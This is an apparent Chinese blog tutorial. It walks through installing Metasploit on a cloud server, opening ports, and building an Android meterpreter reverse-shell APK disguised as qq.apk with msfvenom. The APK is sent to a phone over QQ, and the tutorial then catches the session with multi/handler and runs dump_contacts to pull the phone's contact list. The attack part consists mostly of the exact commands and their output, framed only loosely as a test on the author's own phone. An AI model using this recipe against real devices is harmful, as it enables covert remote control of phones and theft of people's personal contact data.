思路:
先简单说说思路吧。利用msf生成一个安卓木马。然后传手机,这里只是单纯的测试一下,就直接用qq传给自己的手机吧。那么在这里就会遇到一个关键问题。
手机访问不了你的msf电脑。
怎么才能让手机访问到你的msf主机?
这里我提供两个方向:
一:内网穿透,就是将你的内网ip映射到一个公网ip上去。这个服务还是很好找的。大家只要到网上找找就能找到相关服务和软件。这一种的好处是只要内网穿透开起来了,直接用你虚拟机中的kali就可以连上你的手机。
二:好了下面说说第二种,也就是我使用的这种。直接搞一台云服务器。云服务器肯定是有公网ip的。所以就不需要内网穿透了。但是这里有一个不好的地方就是云服务器中肯定是不会存在msf的。所以这里出现了本文第一个知识点。
在云服务上安装msf。
连接到云服务器。
第一步,一串命令。更新源。
yum -y update
![图片[1]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/6ac5b19c378e884f8cc6c57deaece210_98381.png)
第二步,三串命令。安装msf
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
![图片[2]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/df4d2445386efe328213e15aa1ab5532_67552.png)
第三步,三串命令。单独创建一个msf用户来进行数据库配置。
cd /opt/metasploit-framework/bin/
useradd msf
passwd msf
![图片[3]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/c7321e21bcd0c091bfe1a00924b7cfe7_32134.png)
第四步,两串命令。进行msf数据库配置。
su - msf
./msfdb init
上面一步执行时中途需要输入msf用户的账号和密码。![图片[4]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/bfeb28a318f52a5f67f69cfdd5a8b6ac_43107.png)
第五步,两串命令。返回root用户,拷贝相关文件。
exit
cp /home/msf/.msf4/database.yml /opt/metasploit-framework/embedded/framework/config/
![图片[5]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/94ef9127c418dd691a6ad75ccd6a078e_13582.png)
最后一步,测试数据库是否连接成功。我们直接msfconsole进入msf控制台。
db_status
![图片[6]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/37ed32bf5a6016ff0500a7332b2a3887_65730.png)
(参考来源:https://woj.app/5996.html)
开通端口号:
这里需要注意云服务器公网端口号和内网端口号的关系。这里我们捋一捋。
进入云服务器通过命令看看我们开了什么端口。
firewall-cmd —list-port
![图片[7]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/04eccd42b2576092851d94ebc4ccd559_94555.png)
但是我们真的就能访问到他的这些端口吗?
我们来测试一下。在本机虚拟机中开一台kali,我们用nmap扫一下这个云服务器的ip。
nmap -sS -Pn
![图片[8]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/fd0cec40ed1301b3c7d15ad2cb11658b_32602.png)
我们发现问题来了,他们的开放端口明显不一样。
很明显这里一个是公网开放端口一个是内网开放端口。
这里我们看到内网端口开放了很多。随便改不改,因为39000到40000都是开的。随便选一个用就行。但是要注意一点。内网公网都要开相同的。(这里1234就是我手动加上去的。)
怎么开放公、内网端口:
这里我用的是阿里云服务器。
公网:进入阿里云可以看到网络与安全下的一个安全组。![图片[9]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/c6efd31c0053be227a3d535340ebda43_64508.png)
右边有一个配置规则。![图片[10]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/443647fd31f47919e21447c9ffec40b7_54728.png)
点进去后配置的就是公网的端口了。![图片[11]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/2ad16b01cf86003a43a9c420337775ac_50986.png)
内网:内网就更简单了。宝塔面板改的就是内网的,当然你也可以试试直接用命令。这里就不演示了。(还不知道直命令行不行,没试过。)![图片[12]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/efc6a639985d0434f7a8c61bbf06e99f_92384.png)
好了,配置完成后我们在用nmap扫描一下。
这里看到出现1234端口了(我在公网上配置的也是1234端口。),虽然上面说状态是closed,不过无关紧要。![图片[13]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/e8901ffa99cf1e1642efdda5d1d722d2_81171.png)
0x06生成apk木马:
准备工作已经完成。现在开始写马。这里我是直接在自己本机虚拟机中的kali里写马,
(这里直接用云服务器中的msf写马,要传到手机上去有一点麻烦,所以我干脆直接在本机写马,将ip改成云服务器的就行。)
这里我的云服务器只负责接受会话。
生成apk木马。
msfvenom -p android/meterpreter/reverse_tcp lhost=公网ip lport=1234 R > qq.apk
![图片[14]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/27164c95632aaa4d57e402dc6b9dfd24_89736.png)
生成木马后直接拖到本机再通过qq传给手机安装即可。
(注:毕竟只是干web渗透的,所以这里对手机上的apk木马就不再进行编码加壳签名什么的了。手机检测到木马有危险性是肯定会的。手动允许一下就可以。)
好了,手机现在安装上木马了。回到云服务器上打开监听模块。
(要是小伙伴们真的想研究,以后等我有时间再专门研究一下apk木马绕过。再发文讨论吧。)
0x07msf中handler选项配置:
进入云服务器。打开msf控制台。
使用handler监听木马。
use exploit/multi/handler
![图片[15]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/87efdfa60dba7d704be8766f43e34415_30563.png)
查看参数配置。
options
![图片[16]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/64e766e9464dcf54eb22ea83762c953b_88003.png)
这里只需要设置三个参数。payload,lhost,lport。
三串命令。
set payload android/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
这里lhost就是这里云服务器的公网ip。
set lport 1234
options
设置完之后再查看一下配置,看看是否设置成功。![图片[17]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/35a8b9b91012fc7dfabcd6bcce4c7a5f_95249.png)
可以看到已经成功了。
0x08两对lhost,lport:
这里详细解释一下这两对ip的端口。在生成木马时的ip和端口设置比较简单,就是云服务器的公网ip和公网端口。这里没什么好说的。
重点要说一下监听模块设置的ip和端口,端口还是一样的,公网内网都要是同一个端口号,意思就是木马里写的是公网里的一个端口(前提是开放的端口),内网就要开启相应的端口进行监听。这里也很好理解。最后就只剩下监听ip。
这里我们到底要设置公网还是内网的呢?
诶,你会发现不管设置公网还是内网都可以监听到木马。
为什么呢?我们来看看这里。
这里是开公网端口时的设置。![图片[18]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/765a628d6d16fb4907319a40bca94aa5_78090.png)
相信大家都已经懂了。执行木马后,木马通过公网ip找到公网ip服务器,应该说是路由器。然后这个路由器通过你设置的规则使用广播地址,也就是0.0.0.0。对这个内网里的所以ip主机进行通信。
所以这里监听公网内网都可以,但是注意这里只是大部分,还是有少量的反弹木马,在监听时ip写内网是得不到会话的。这里就不叙述是那些木马了。(我不会承认我只是单纯的忘了。)
总结一点就是ip全部用公网的。端口设相同的(前提是开放的端口)。
0x09建立会话:
运行handler模块。
run
开始监听后点击一下手机上的木马。![图片[19]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/12905774c7adfa8bd0f123df99426007_81267.png)
(这里看到第一行报了一个错。所以这就是都用公网的不好。也不能说是不好吧。它会说找不到公网的这个端口。但是在这里设置了规则。公网会直接转到这台内网电脑上,所以效果都一样。)
0x10利用:
这里简单看看支持什么命令。
?![图片[20]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/3fe56eb5f3b6416eedcb01803452c498_16570.png)
![图片[21]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/a2795aecedd82eb309af3e697313df4c_17165.png)
看到有很多好玩的命令。我们试试前一段时间很火的一个命令。
大家猜猜这命令的用处。
dump_contacts
![图片[22]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/4eb818be19534c9d807a27315ad5a4f0_90293.png)
可以看到他生成了一个文件。我们找到看看。
ls /root
![图片[23]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/f254b6ccaf756edb437d312df45910da_89869.png)
cat /root/contacts_dump_20210417190439.txt
![图片[24]-云服务器上搭建msf生成apk木马连接手机获取通讯录-海底天上月](https://nc0.cdn.zkaq.cn/md/7317/afc8ba97d84bd97ce82dfd9cdeaf158e_20827.png)
相信大家已经猜到了,
dump_contacts
获取联系人列表。











暂无评论内容